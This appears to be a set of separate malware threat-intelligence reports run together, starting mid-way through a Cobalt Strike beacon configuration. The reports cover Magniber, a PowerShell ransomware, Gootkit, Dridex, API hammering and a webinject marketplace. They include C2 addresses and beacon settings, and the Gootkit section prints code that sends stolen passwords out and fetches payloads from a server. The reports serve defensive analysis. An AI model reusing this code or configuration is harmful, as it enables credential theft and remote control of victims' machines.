"SSH_Host": "",
"stage.cleanup": 0,
"SSH_Username": "",
"watermark": 305419896,
"process-inject-use-rwx": 64,
"dns_idle": 0,
"sleeptime": 60000,
"dns": false,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCBkyCWDMC1Q6VqRZIY35+iU7KtrHy9+HnzzPxCetQ5toPMCqlwQEB9hj38OnrVdGJYcvb8X36PIo8JBQSIB+ejM0xYaWwWIoLYhG1CSUJPgLc24wjjkW3/2wBuLrgTuYxNeylf75fE6cQtSeimLeHp/XjyQPfYbUQgiCSqs7KSUwIDAQABAAAAA",
"pipename": "",
"SSH_Password_Plaintext": "",
"Proxy_Password": "",
"Proxy_HostName": "",
"host_header": "",
"jitter": 0,
"killdate": 0,
"text_section": 0,
"port": 8443,
"shouldChunkPosts": 0,
"http-get.client": "Cookie",
"funk": 0,
"SSH_Port": 0,
"http-get.verb": "GET",
"proxy_type": 2,
"user-agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MANM; MANM)"
}
```
**Beacon configuration from 149.28.134.209:**
```json
{
"func": 0,
"Spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
"DNS_sleep(ms)": 0,
"HostHeader": "",
"Maxdns": 255,
"Proxy_AccessType": "2 (use IE settings)",
"SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
"binary.http-get.server.output": "AAAABAAAAAEAAA1NAAAAAgAADSYAAAANAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"bUsesCookies": "True",
"Spawnto_x64": "%windir%\\sysnative\\rundll32.exe",
"Watermark": 305419896,
"bProcInject_MinAllocSize": 17500,
"bProcInject_StartRWX": "True",
"HttpGet_Verb": "GET",
"version": "4",
"PipeName": "",
"UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"KillDate": "0",
"HttpPost_Verb": "POST",
"HttpPostChunk": 0,
"textSectionEnd (0 if !sleep_mask)": 154122,
"BeaconType": "8 (HTTPS)",
"HttpGet_Metadata": [
"Host: fortawesome.com",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding: gzip, deflate",
"Referer: https://fortawesome.com/",
"_fortawesome_session=",
"Cookie"
],
"ProcInject_PrependAppend_x86": "AAAABJCQkJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"DNS_idle": "8.8.8.8",
"ProcInject_AllocationMethod": "NtMapViewOfSection",
"ProcInject_PrependAppend_x64": "AAAABJCQkJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"Jitter": 37,
"SleepTime": 1000,
"bStageCleanup": "True",
"C2Server": "149.28.134.209,/users/sign_in",
"MaxGetSize": 1404878,
"CryptoScheme": 0,
"PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCLWqwFbcEMqEaiaw6K1ORaRyQ62LPDVjE/Wb6tbstdNR2Yp",
"obfuscate_section": "AGACAFH9AgAAAAMAwKADAACwAwAwzgMAAAAAAAAAAAA=",
"ProcInject_Execute": [
"6"
],
"ProcInject_Stub": "UGQyVORjQ+JF+/sEjjvVYA==",
"bProcInject_UseRWX": "True",
"HttpPost_Metadata": [
"Host: fortawesome.com",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding: gzip, deflate",
"__uid",
"remember_me=on&authenticity_token="
],
"bCFGCaution": "False",
"Port": 443,
"HttpPostUri": "/signup/custom"
}
``` |
# 勒索軟體的威脅
近期全球籠罩在勒索軟體的威脅下,大到法人企業、小至個人用戶,無一倖免。從針對式的 APT 攻擊(Advanced Persistent Threat,進階持續性攻擊)到各式網路犯罪組織,使用的勒索手法越發精湛與多樣化,並發展出 Ransomware as a Service(RaaS)商業模式,實現了「一時勒索一時爽,一直勒索一直爽」的勒索大業。
本次分析的案例,攻擊手法屬於較被動的方式,透過微軟瀏覽器 IE (Internet Explorer)的弱點來進行勒索,而非從企業的脆弱點進行攻擊,進而入侵到核心系統大量散布勒索軟體。這種「願者上鉤」的攻擊方式,攻擊者等待受害單位使用 IE 瀏覽器造訪惡意網站,再發動攻擊、達成目的。
## 技術分析
早期是用來提供氣象資訊的網站,根據我們的研究,推測可能遭攻擊者註冊,當使用者造訪該網站時,將進行兩次轉址,經過兩個廣告公司網站後,最終轉至惡意網站。
其中 {random}.doetax.site 包含以下已經過程式碼混淆(Obfuscation)的 JavaScript:經過解碼還原後,可以確定攻擊 payload 會使用 URL 進行 XOR,再使用 execScript 來執行編碼過的 JavaScript。
該編碼過的 JavaScript 使用的是 CVE-2020-0968 來針對 IE 瀏覽器進行攻擊。執行惡意程式碼後,攻擊者會再依據取得的權限不同,將使用者連線到不同的網址。
若取得是高權限,則會直接到 hxxp://1fbw726f22j65y.doetax.site/ 取得勒索軟體,否則會先到 hxxp://2oct37evecvdw72y0b.doetax.site/ 下載惡意程式,提權後連線到 hxxp://1fbw726f22j65y.doetax.site/ 取得勒索軟體。
經分析後確定勒索軟體為 Magniber,該惡意程式使用 AES CBC mode 加密檔案(key, IV: 128),加密完成後,會使用 RSA 演算法加密 key 與 IV,加密後的 blob 會放在加密檔案的最後面(長度:100h)。另外我們也發現,除了使用 CVE-2020-0968 來攻擊外,也有使用 CVE-2021-26411 進行勒索攻擊的情境。
我們進一步探討網站轉址狀況可以發現,攻擊者會利用免費資源網站來吸引使用者瀏覽,同時利用一透明框架覆蓋於網站上,讓使用者點擊,進而達成轉址目的。
雖然該網站並不會植入勒索軟體,但會使用 CVE-2019-1367 弱點來植入其他的後門,另外,雖然在 IE11、IE10 和 IE9 使用 Jscript9.dll,並不受 CVE-2019-1367 漏洞的影響,但可以強制 IE 使用 IE8 兼容模式,來達成漏洞的觸發。
## 結論
上述案例皆為採證 IE 的連線紀錄後所發現,攻擊者透過 IE 瀏覽器的漏洞來達到攻擊目的,包含勒索或者植入其他後門程式。攻擊者透過這些弱點進行記憶體操作的攻擊,可以有效實踐無檔案式(Fileless)攻擊,以利規避一些資安產品偵測的可能性。
微軟官方也預計於 2022 年 6 月 25 日,徹底終止支援 IE 瀏覽器,接下來我們也可以預期,若 IE 將來仍被發現存在重大弱點時,攻擊者可能會依循類似手法,大量進行攻擊、勒索,以達到其商業利益。
## 建議
- 建議將系統安全性更新至最新版本
- 建議評估汰換已停止更新的作業系統與軟體
- 非必要不使用 IE 瀏覽器 |
# Russian Ransomware Takes Advantage of Windows PowerShell
By Anand Ajjan
05 Mar 2013
For us in SophosLabs, ransomware is a common sight. We see many different versions every day. But as to be expected, the authors think up a new gimmick that makes us take notice. This is one of those cases.
Recently we received a ransomware sample from one of our customers, which immediately piqued our interest as it used Windows PowerShell program to perform file encryption. For those who may not be aware, Windows PowerShell is a scripting language from Microsoft designed to help system administrators automate some of the tasks required to run a Windows network. It’s included with Windows 7 and later but can be installed on earlier Windows operating systems too.
This latest ransomware uses this Windows PowerShell program to perform file encryption using “Rijndael symmetric key encryption”. This variant also targets Russian users with a ransom message displayed in the Russian language.
Here’s how this ransomware works: It arrives as spam containing an HTA file attachment. The HTA file contains a pair of Base64 encoded strings. These are decoded to two scripts that do the bulk of the ransomware’s work.
The first script checks whether the system has Windows PowerShell installed or not. If not, it downloads a copy from a Dropbox.com account and installs it. The second Base64 decoded string is the PowerShell script that performs file encryption. It uses “Rijndael symmetric key encryption” using PowerShell’s CreateEncryptor() function.
As with most file-encrypting ransomware, this one chooses files that may contain information of value to the victim. In this case, an extensive list of 163 file types ranging from documents and spreadsheets to pictures and videos.
The ransom demand takes the form of a text file named READ_ME_NOW.txt, created in each encrypted file folder which contains encrypted files. The message is in Russian and instructs the victim to visit the webpage shown below.
**Translation:**
Your files are encrypted?
Do you want to unlock your files and do not know how?
You can get the decryption program in fully automatic mode in a few minutes!
To decrypt your files must have a unique code, which is contained in the file READ_ME_NOW.txt, so we can learn the code please upload the file READ_ME_NOW.txt the form below. This file is in any directory that has encrypted files.
If the user uploads the READ_ME_NOW.txt file as instructed they will be taken to a second page of instructions.
**Translation:**
You are logged in!
We successfully read your unique lock code. For you, there is good news and bad news:
The good news is that you can get the program and fully unlock and clean your PC in just a few minutes.
The bad news - a program to unlock costs 10 TR for one PC.
To prove to you that we can provide the unique program for your PC that will unlock all of your files - you can upload any one of the encrypted files no larger than 1 megabyte, and we will automatically decode it.
At this point the true desire of the attackers becomes apparent – and costly – a 10,000 Ruble charge for undoing the damage they have done. (At today’s rate 10,000 Rubles converts to about £217, €250, or $326 USD. Not exactly ‘priced to sell’.)
We have also seen two types of encryption key used by this ransomware:
1. Uses a Universally Unique Identifier (UUID) as the encryption key and renames it with an extension .FTCODE.
2. Uses a randomly generated string, 50 characters long and including 4 non-alpha numeric values as encryption key and renames it with an extension .BTCODE. This key is generated using the GeneratePassword() command. This handy function takes 2 parameters: length of the password to create and the number of non-alphanumeric characters to include. Very useful if you have a hard time coming up with strong passwords by yourself.
But there’s good news. In both cases the encryption key can be recovered without paying for it. In fact, this can be done using the same PowerShell tool that the attackers used.
The first, UUID, key can be retrieved with this command:
`Get-wmiobject Win32_ComputerSystemProduct UUID`
The second with:
`Gwmi win32_computerSystem Model`
Thus the encryption keys can be relatively simple to retrieve by anyone who would rather not pay 10,000 Rubles/£217/€250/$326 to get their files back.
We always advise against paying the ransom to the criminals behind ransomware. Even if you pay there’s no guarantee that they will uphold their end of the bargain. It’s more likely that you’ll be left with a bunch of encrypted files and a lighter wallet.
Sophos customers, take note that our security products detect these variants as Troj/Ransom-NY.
And if you want to know more about the inner workings of ransomware, why not take a gander at our new technical paper “Ransomware: Next Generation Fake Antivirus” – no registration or Rubles required. |
# Let's Learn: In-Depth Dive into Gootkit Banker Version 4 Malware Analysis
## Goal
Analyze and reverse the Gootkit banking malware version 4 in depth.
## Background
While reviewing several latest malware spam campaigns reported by multiplier researchers, I took a deeper dive into malware analysis of the campaigns authored by the Gootkit cybercrime gang.
## Outline
I. Analysis
II. Malware Drop Sequence
III. Module Overview
IV. Registry Persistence
V. Yara: Main & Password Grabber Module
VI. Domain Blocklist
VII. Appendix
## I. Overview of Gootkit Banking Malware
Gootkit is a modularized multi-functional Windows banking malware. The malware contains rich functionality from web inject and Local Security Authority (LSA) grabber to Video Recorder and Mail Parser. The gang leverages Node.js for its functionality and borrows ideas from other malware variants. For example, in its "zeusfunctions," the gang implements ZeuS-style URL mask parsing and matching visited websites. The malware also contains its own Password Grabber “grabber.dll”.
## II. Malware Drop Sequence
Main dropper (MD5: ba0f798acc31ff6984af91f235f5fac4)
-> Node.js main loader binary (MD5: ba0f798acc31ff6984af91f235f5fac4)
-> "GrabPasswords" module (MD5: 1654b553a500ecf2f196216be458da05)
Export function: "GrabPasswords"
The decoded server configuration was as follows:
`safenetssl[.]com|safenetssl[.]com|securesslweb[.]com`
The main component is an exe code packaged via Node JavaScript bundle. The malware checks for the patterns "-test" and "-vwxyz."
### A. Obfuscation
Main dropper is loaded in obfuscated form with strings encoded with XOR with round key.
To generate and decode the bot, it also leverages Mersenne Twister, a pseudorandom number generator (PRNG).
### B. The dropper creates a mutex thread "ServiceEntryPointThread"
### C. Anti-Analysis "vmx_detection"
The malware checks environment variable "crackmelolo" with a series of checks and alters its execution if not found. Kaspersky Labs previously reported on "crackme." Gootkit calls the anti-analysis routine as "vmx_detection."
## III. Modules and Functionality Overview
Gootkit contains various functions and modules:
- API Hooker
- Take Screenshot
- Get Process List
- Get Local Network Neighborhood
- Get Local Users and Groups
- LSA Grabber Credential
- Browser Stealer
- Cookie Grabber
- Virtual Network Computing (VNC) Remote Controller
- Keylogger
- Formgrabber
- HTTP/HTTPS Webinjector / Redirector
- Video Recorder
- Mail Parser
- Proxy
## IV. Persistence settings in HKEY_CURRENT_USER
If `os.release().split('.')[0] === '5'`
`process.g_malwareBodyRegistryPath = "SOFTWARE";`
Else
`process.g_malwareBodyRegistryPath = "SOFTWARE\\AppDataLow";`
`process.g_malwareRegistryPath = "SOFTWARE\\cxsw";`
`process.g_malwareRegistryHive = HKEY_CURRENT_USER;`
`process.g_SpDefaultKey = "{da14b39e-535a-4b08-9d68-ba6d14fed630}";`
`process.g_SpPrivateKey = "{bed00948-29e2-4960-8f98-4bcd7c6b00a5}";`
## V. Yara Rule
```yara
rule crime_win32_gootkit_main_bin {
meta:
description = "Gootkit banking malware dropper binary"
author = "@VK_Intel"
reference = "Detects Gootkit main dropper"
date = "2018-04-10"
hash = "360744e8b41e903b59c37e4466af84b7defe404ec509eca828c9ecdfe878d74a"
strings:
$s0 = "\\SystemRoot\\system32\\mstsc.exe" fullword wide
$s1 = "RunPreSetupCommands = %s:2" fullword wide
$s2 = "AdvancedINF = 2.5, \"You need a new version of advpack.dll\"" fullword wide
$s3 = "/c ping localhost -n 4 & del /F /Q \"" fullword wide
$s4 = "< destination IP address >" fullword ascii
$s7 = ".update\" \"" fullword wide
$s11 = "& move /Y \"" fullword wide
$s16 = ".update" fullword wide
$s19 = "signature = \"$CHICAGO$\"" fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 474KB and all of them
}
```
## VI. Gootkit Domain Blocklist
- safenetssl[.]com
- securesslweb[.]com
- netsecuressl[.]com
- securesslservice[.]com
- secsslnetwork[.]com
- sslnetsecurity[.]com
## VII. Gootkit Appendix
### A. Global Certificate
```plaintext
var global_cert = "-----BEGIN CERTIFICATE-----
MIICtzCCAiCgAwIBAgJAwj/sQrLq6n+7nn9OSX0zzgGhP834SgLjlxQ96GHioum4
j3w7bUQWVwUYjadfxZxt3S/xsss3zG5yJGJyFK64ATANBg
-----END CERTIFICATE-----";
```
### B. Gootkit Global RSA Key
```plaintext
var global_key = "-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQCuKr4ew8Gh7/8QgbLv9oMKxL3lQRtUFV55g57g6l4453LeETjw
cANgUQrAwy7Y8uH2r1vM2fFpelFjwCZ1ynkaTiMcnlqRdc
f0zafBVGaFEJ/0igR/zAMctqoHSE9fvuCRiY5+0fh5cECQATs
n2Jx7vl+cKOWySXqaiZPZLF18aQbY7PDJSmUUq4Jd/xB3/8J554tnpOW2R3IXC4
-----END RSA PRIVATE KEY-----";
```
### C. LSA Grabber Message
```plaintext
message LsaAuth {
optional string UserName = 1;
optional string UserDomain = 2;
optional string UserPassword = 3;
}
```
### D. Command Execution Message
```plaintext
message CommandExecutionRequest {
optional string process = 1;
optional string command = 2;
}
```
### E. File Upload Message
```plaintext
message FileUpload {
optional string filename = 1;
optional bytes content = 2;
}
```
### F. Bot Config Message
```plaintext
message RedirectionEntry {
optional string name = 1;
optional string uri = 2;
optional string keyword = 3;
optional string uripassword = 4;
optional string datapassword = 5;
}
```
### G. Bot Message Buffer
```plaintext
message Bot {
optional string processName = 1;
optional string guid = 2;
optional string vendor = 3;
optional string os = 4;
optional string ie = 5;
optional string ver = 6;
optional int32 uptime = 7;
optional int32 upspeed = 8;
optional string internalAddress = 9;
optional string HomePath = 10;
optional string ComputerName = 11;
optional string SystemDrive = 12;
optional string SystemRoot = 13;
optional string UserDomain = 14;
optional string UserName = 15;
optional string UserProfile = 16;
optional string LogonServer = 17;
optional int64 freemem = 18;
optional int64 totalmem = 19;
optional NetworkInterfaces networkInterfaces = 20;
optional string tmpdir = 21;
repeated Processor cpus = 22;
optional string hostname = 23;
optional bool IsVirtualMachine = 24;
}
```
### H. Formgrabber Buffer
```plaintext
message Form {
optional string method = 1;
optional string source = 2;
optional string location = 3;
optional string referer = 4;
optional bool isSsl = 5;
optional string rawHeaders = 6;
optional bytes postData = 7;
optional string protocol = 8;
optional bool isCertificateUsed = 9;
optional bool isLuhnTestPassed = 10;
optional string remoteAddress = 11;
}
```
### I. Local Variable Message
```plaintext
message LocalVar {
optional string name = 1;
optional string value = 2;
}
```
### J. SpCollectPasswords
```javascript
function SpCollectPasswords(query, response, request) {
let result = [];
let last_timeout = 0;
let isConnectionClosed = false;
function resetAutoendTimeout() {
if (last_timeout !== 0) {
clearTimeout(last_timeout);
}
last_timeout = setTimeout(function () {
isConnectionClosed = true;
response.end();
}, 20000);
}
}
```
### K. grabPasswordsPony
```javascript
function grabPasswordsPony() {
pstorage.getPasswordsFromGrabber(function (error, result) {
if (result.length > 1) {
result = result.split('\n').map(function (line) {
return line.trim().split('|');
}).forEach(function (password_entry) {
if (password_entry.length === 4) {
spyware.SendAuthInformationPacket(
password_entry[2],
'(' + password_entry[0] + ') ' + password_entry[1],
password_entry[3]
);
} else if (password_entry.length === 5) {
spyware.SendAuthInformationPacket(
password_entry[3],
'(' + password_entry[0] + ') ' + password_entry[2],
password_entry[4]
);
} else {
process.log('UNABLE_PARSE_PASSWORD : ', password_entry.join('|'));
}
});
}
});
}
```
### L. GetCCType
```javascript
function GetCCType(cc_num) {
var type = 0;
if (cc_num.charAt(0) == '4' && (cc_num.length == 16 || cc_num.length == 13))
type = 1;
else if (cc_num.charAt(0) == '5' && cc_num.length == 16)
type = 2;
else if (cc_num.charAt(0) == '3' && (cc_num.charAt(1) == '4' || cc_num.charAt(1) == '7') && cc_num.length == 15)
type = 3;
else if (cc_num.charAt(0) == '6' && cc_num.charAt(1) == '0' && cc_num.charAt(2) == '1' && cc_num.charAt(3) == '1' && cc_num.length == 16)
type = 4;
return type;
}
```
### M. luhnChk
```javascript
function luhnChk(luhnstr) {
try {
var luhn = luhnstr.replace(/[^0-9]/g, '');
var len = luhn.length,
mul = 0,
prodArr = [
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
[0, 2, 4, 6, 8, 1, 3, 5, 7, 9]
],
sum = 0;
if (len != 16 || ((luhn.length - len) >= 6)) {
return false;
}
if (GetCCType(luhn) == 0) {
return false;
}
if (calculateAlphabetSize(luhn).length < 5) {
return false;
}
while (len--) {
sum += prodArr[mul][parseInt(luhn.charAt(len), 10)];
mul ^= 1;
}
return sum % 10 === 0 && sum > 0;
} catch (exception) {
console.error(exception);
return false;
}
}
```
### N. downloadUpdate
```javascript
function downloadUpdate(serverHost, callback) {
var arch = { 'ia32': 32, 'x64': 64 };
var updateLink = util.format("https://%s:80/rbody%d", serverHost, arch[process.arch]);
gootkit_spyware.DownloadFileRight(updateLink, function (error, fileBuffer) {
callback(error, fileBuffer);
});
}
```
### O. fpatchIETabs
```javascript
function fpatchIETabs() {
var reg = process.binding("registry");
var x = new reg.WindowsRegistry(
HKEY_CURRENT_USER,
"Software\\Microsoft\\Internet Explorer\\Main", KEY_WRITE, true
);
x.WriteDword("TabProcGrowth", 1);
}
```
### P. Run Function
```javascript
exports.run = function (iter) {
console.log("RUN : %s, ver : %s", process.currentBinary, process.g_botId);
}
``` |
# Malware Headliners: Dridex
For this blog post, we're taking a dive into the initial stages of a prevalent banking trojan known as Dridex. Developed by Maksim Yakubets and leveraged by advanced e-crime threat groups such as TA505 and Indrik Spider, this malware is commonly delivered in a Microsoft Office document as part of phishing campaigns. The sample we're analyzing was downloaded from MalwareBazaar and submitted recently. Although the file being analyzed is a Microsoft Excel file, the analysis will take place in REMnux. All the tools I use will have their documentation/websites referenced at the bottom of the post.
**DISCLAIMER:** Some of the IOCs identified in this sample are vulgar. This is a real malware sample identified in "the wild" and as such offers a good representation of what analysts may come across in their day-to-day. I've added this disclaimer to mention, for those that may not understand, that the vulgar terminology did not originate from my work and is the work of the malware developer.
## INITIAL ANALYSIS
A quick analysis with TrID, developed by Marco Pontello, shows us that the file is likely in extensible markup language (XML) format.
### USING ZIPDUMP AND XMLDUMP
zipdump.py is one of the many tools developed by Didier Stevens. It is useful in this instance because files in XML format are technically zip files. Running the command displayed in the screenshot below lists the underlying streams. To get started, I chose stream 4 since it's listed as the workbook. Piping the output to xmldump.py (also developed by Didier Stevens) with the 'pretty' parameter gives us a more readable result.
In the result, we see 2 references under the "sheets" tag: one to Macro1, and another to Sheet1. We also see that for each of the entries there's an "r:id." Looking up these ID numbers in the rels stream will tell us what these sheets are pointing to.
First, we'll take a look at "rId1," which is associated with Macro1. This points to the stream "macrosheets/sheet1.xml." "rId2," associated with Sheet1, points to "worksheets/sheet1.xml." Going back to the original zipdump.py output, we see that "macrosheets/sheet1.xml" is stream 13, so we select it for review and pipe it to xmldump for a cleaner output.
A more condensed output can be achieved in this circumstance by using "celltext" instead of "pretty" for the xmldump parameter. On the left of the output, you can see the cell in the sheet where the text to its right is found. We can kind of figure out what some of the data here is, but we can use xlmdeobfuscator (developed by Malwrologist) to get a clearer glimpse.
### XLMDEOBFUSCATOR FOR CLARITY
The tool will ask for an entry point that includes the sheet name and the cell to start on. I passed it the name of the sheet (Macro1) followed by the first cell listed as having data in the zipdump output we saw above (F14). We now have some initial IOCs to make a note of, particularly the following file path: C:\ProgramData\RZciQoqRVKyOIRh.vbs.
## TIME TO MANIPULATE SOME CODE
If we look at the entry for cell F39, we see that it references Sheet1. If you recall, Sheet1 is the other sheet listed in the workbook stream and we know has some relevance to the function of the file so far. If we run the following command grabbing the celltext from the stream where xl/worksheets/sheet1 resides, we get a ton of entries that look like this: Here we see the cell column and row, a set of quotes, and a number. My inference is that each cell contains a character, and this is charcode. Using sed and tr, we clean up the char code to get just the numbers and remove the new line characters.
Copying everything except the "Reference, Formula, Value" at the beginning of the text, and putting it into a tool that can convert this from charcode to ASCII (CyberChef works great, there are other resources online), we get the following: This now looks a lot more like a VBA script. There's still some residual characters that need swapped over to ASCII, and a lot of the ampersands and quotes can be removed to make this more human-readable. The objective in my analysis is not to arrive at code that can still run, but rather code that I can easily read and therefore deduce what functionality it has.
Snapshots from some of that cleanup are below: Ampersands and quotes removed.
The last thing I did was start converting the "gibberish" seeming variable and function names to something that made sense. For example, I renamed the variable "EMHPXpkoyrz" to "UserDomainString" because that's the data it contains. Aside from variable declarations and function definitions, the code below is the actual "meat and potatoes" functionality of this script.
In layman's terms, the code checks and sees if the ".bin" file exists. If it does not, then for each URL in the array at line 50, it will initiate a GET request for the ".bin" files identified in the URLs. The InternetFunction(MSXMLServerCreation) value of 1 comes from the function starting at line 33. If the GET request responds with a status code 200, meaning "OK," then it will save the ".bin" file as identified in line 39. Jumping back down to line 55, with a value of 1, the code will then execute several Wmic Process Calls for regsvr32 and rundll32 to execute the ".bin" file downloaded and therefore execute the next stage of the malware.
## IOCs FOR THIS DRIDEX SAMPLE
- File type: OOXML
- File hash: 77ea99933030294970a8d11a20f0fab4e540133931e91358d2dde3b97d6a521d
- Files it writes/renames downloaded files: C:\ProgramData\mhunigger.bin
- Files it downloads:
- ReMxcvxKeOzodickpenis.bin
- ZvdFNlHdickpenis.bin
- CdNiUWXvKRUbUidickpenis.bin
- Domain file downloads from: https://caioaraujo[.]vip
## TOOLS AND DOCUMENTATION
- TrID
- zipdump.py
- xmldump.py
- xlmdeobfuscator
- CyberChef |
# There Is More Than One Way to Sleep: Dive Deep Into the Implementations of API Hammering by Various Malware Families
By Mark Lim and Riley Porter
June 24, 2022
## Executive Summary
Unit 42 has discovered Zloader and BazarLoader samples that had interesting implementations of a sandbox evasion technique. This blog post will go into details of the unique implementations of API Hammering in these types of malware. API Hammering involves the use of a massive number of calls to Windows APIs as a form of extended sleep to evade detection in sandbox environments.
Sandboxing is a popular technique used to detect if a sample is malicious. A sandbox analyzes the behaviors of the binary as it executes inside a controlled environment. Sandboxes have to deal with many challenges while analyzing a large number of binaries with limited computing resources. Malware sometimes abuses these challenges by “sleeping” in the sandbox before carrying out malicious procedures to hide its real intentions. Palo Alto Networks customers receive protections from malware families using evasion techniques through Cortex XDR or the Next-Generation Firewall with WildFire and Threat Prevention security subscriptions.
## Common Ways for Malware to Sleep
The most common way for malware to sleep is to simply call the Windows API function Sleep. A sneakier way that we often see is the Ping Sleep technique where the malware constantly sends ICMP network packets to an IP address (ping) in a loop. To send and receive such useless ping messages takes a certain amount of time, thus the malware indirectly sleeps. However, all these methods are easily detected by many sandboxes.
## What Is API Hammering?
API Hammering has been a known sandbox bypass technique that is sometimes used by malware authors to evade sandboxes. We’ve recently observed Zloader – a dropper for multiple types of malware – and the backdoor BazarLoader using new and unique implementations of API Hammering to remain stealthy. API Hammering consists of a large number of garbage Windows API function calls. The execution time of these calls delays the execution of the real malicious routines of the malware. This allows the malware to indirectly sleep during the sandbox analysis process.
## API Hammering in BazarLoader
An older variant of BazarLoader made use of a fixed number (1550) of printf function calls to time out malware analysis. While analyzing a newer version of BazarLoader, we found a new and more complex implementation of API Hammering. The following decompiled procedure shows how this new variant is implemented in the BazarLoader sample we analyzed. It makes use of a huge loop with a random count that repeatedly accesses a list of random registry keys in Windows.
To generate the random loop count and list of registry keys, the sample reads the first file from the System32 directory that matches a defined size. This file is then encoded to remove most of its null bytes. The random count is then computed based on the offset of the first null byte in that file. The list of random registry keys are generated from fixed length chunks from the encoded file.
With a different Windows version (Windows 7, 8, etc.) and a different set of applied updates, there is also a different set of files in the System32 directory. This results in a varying loop count and list of registry keys used by BazarLoader when executed in different machines. The API Hammering function is located in the packer of the BazarLoader sample. It delays the payload unpacking process to evade detection. Without completing the unpacking process, the BazarLoader sample would appear to be just accessing random registry keys, a behavior that can also be seen in many legitimate types of software.
## API Hammering in Zloader
While the BazarLoader sample relied on a loop to carry out API Hammering, Zloader uses a different approach. It does not require a huge loop, but instead consists of four large functions which contain nested calls to multiple other smaller functions. Inside each of these small procedures are four API function calls related to file I/O: GetFileAttributesW, ReadFile, CreateFileW, and WriteFile. By using a debugger, we could figure out the number of calls made to four file I/O functions. The large and smaller functions together generate more than a million function calls in total, without the use of a single large loop as seen in BazarLoader.
The execution time of the four large functions delays the injection of the Zloader payload. Without complete execution of these functions, the sample would appear to be a benign sample just carrying out file I/O operations.
## Conclusion: WildFire vs API Hammering
Results from analyzing various implementations of API Hammering enabled the detection of malware samples using API Hammering for sandbox evasion in WildFire. WildFire detects the use of API Hammering by BazarLoader, Zloader, and other malware families. Palo Alto Networks customers receive further protections against other malware families using similar sandbox evasion techniques through Cortex XDR or our Next-Generation Firewall with WildFire and Threat Prevention security subscriptions.
## Indicators of Compromise
**BazarLoader Sample**
ce5ee2fd8aa4acda24baf6221b5de66220172da0eb312705936adc5b164cc052
**Zloader Sample**
44ede6e1b9be1c013f13d82645f7a9cff7d92b267778f19b46aa5c1f7fa3c10b |
# "In The Box" - Mobile Malware Webinjects Marketplace
## Cybercrime Intelligence
With the rapid growth of fraudulent activity in a post-pandemic world, bad actors continue to upgrade their tooling to attack customers of major financial institutions (FIs), e-commerce platforms, and online marketplaces. According to collected statistics in Q4 2022 during DFIR engagements conducted on Fortune 500 companies by Resecurity®, cybercriminals are especially successful when attacking mobile apps and leveraging gained access for further unauthorized access and financial theft. Unless FIs implement various technologies to combat fraud, this vector remains relatively unprotected, providing threat actors enough flexibility to bypass fraud detection systems by ultimately controlling the victim's mobile device. Once the mobile device of the victim has been compromised, bad actors can intercept OTP codes, incoming SMS messages, and phone calls to extract sensitive information, including call history and contact lists. Besides other concerning types of threats such as "SIM Swapping," also widely used by fraudsters, mobile malware remains key in a cybercriminal's arsenal to conduct banking theft from consumers worldwide.
This research arranged by Resecurity® Hunter team is focused on the new marketplace called “InTheBox,” recently emerged in the Dark Web and designed specifically for mobile malware operators. The first mentions of “InTheBox” were identified on reputable underground communities around January 2020. Since that time, the key actor was offering webinjects development services for other cybercriminals privately, but after gaining enough credibility, the actor scaled it to a fully productized automated marketplace. The automation allows other bad actors to create orders to receive the most up-to-date webinject for further implementation into mobile malware. For those using proprietary (or so-called “private”) mobile malware, it is not widely available for sale or rent; because of this, “InTheBox” is offering customized development solutions. As of today, the most widely used malware families supporting webinjects are Alien, Cerberus, Ermac, Hydra, Octopus (aka “Octo”), Poison, and MetaDroid.
The marketplace is available in the TOR network. As an OPSEC measure, the administrator of the marketplace also requires vetting of new customers. After the successful account activation, the marketplace will offer a listing of available webinjects for sale.
It is worth mentioning how almost all of them may be used for credential interception from any service the victim may attempt to access while using their mobile device besides online banking. The bad actor may then use the data stolen from said devices for any malicious purposes. To facilitate successful credentials interception, bad actors use a so-called "Webinjects" - customized modules or packages used in malware that typically inject HTML or JavaScript code into content before it's rendered on a web browser. As a result, webinjects can alter what the user sees on their browser, as opposed to what's in fact being sent by the server.
Typically, malware developers design code to intercept victims' credentials using such an approach, which in practice looks completely invisible visually, as the webinject will interpret an identical design of legitimate pages from popular services. Technically, the success rate of banking theft depends on the quality of the webinject and the stability of mobile malware. During past years, the market of mobile banking malware became extremely mature, and the majority of Dark Web actors stopped selling it; they switched to potentially renting or privately using it.
## Examples of Webinjects
There are multiple underground vendors developing webinjects. Tracking the latest design and updates of legitimate mobile apps makes their attacks extremely efficient. The price of webinjects is typically lower than mobile malware itself and varies between $50 and $200 per inject, depending on how popular the FI is. Typically, it also includes basic support and possible customization in case the mobile app changes. The price range on mobile malware varies, and with the recent shift to rent and private operations, the inject may exceed $5,000 per month or leverage a commission-based model with payouts from successful thefts shared between the malware operator and developers.
Just recently, “InTheBox” implemented a new tariff called “unlim,” allowing cybercriminals to generate an unlimited number of webinjects during the subscription period. Such a model minimizes manual and human interactions with the marketplace operators, simplifying malware customization processes. Based on the chosen plan, other malware operators can create orders on the injects or customized development. Their feedback and order status will be available via the portal.
The bad actor known as "inthebox" launched a new webinjects marketplace on the TOR network. The marketplace provides different templates of webinjects for various mobile malware families, which are used independently or in combination to successfully execute data theft:
- Template “Authorization data”
- Template “Ask only PIN”
- Template “With Credit Card data”
- Template “With Credit Card data + ATM PIN”
- Template “Ask Full Data”
